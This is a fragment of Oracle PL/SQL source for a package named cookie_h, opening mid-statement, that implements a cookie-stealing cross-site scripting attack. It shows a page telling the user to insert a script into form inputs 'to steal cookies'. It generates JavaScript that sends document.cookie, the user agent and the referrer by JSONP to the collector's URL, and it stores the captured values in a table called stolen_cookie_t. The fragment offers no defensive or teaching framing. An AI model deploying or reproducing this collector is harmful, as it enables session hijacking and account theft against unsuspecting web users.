');
if r.is_lack('cookie') then
x.p('', 'insert the following text into form input to steal cookies');
x.p('
', x.e(x.r('', r.dir_full)));
else
x.p('
', 'stolen cookie');
x.t(r.getc('cookie'));
end if;
x.c('');
x.t('
');
x.p('', '## This is all http request cookies');
x.f('
');
end;
procedure steal is
v stolen_cookie_t%rowtype;
begin
if r.is_lack('cookie') then
-- gen script content
x.t(x.r('
$.ajax("@",{
dataType: "jsonp",
data: {
cookie:document.cookie,
ua:navigator.userAgent,
referer:document.referrer
}
});
',
r.url_full));
else
-- got stealed info
v.logtime := sysdate;
v.referer := r.getc('referer');
v.cookies := r.getc('cookie');
v.ua := r.getc('ua');
insert into stolen_cookie_t values v;
end if;
end;
end cookie_h;
/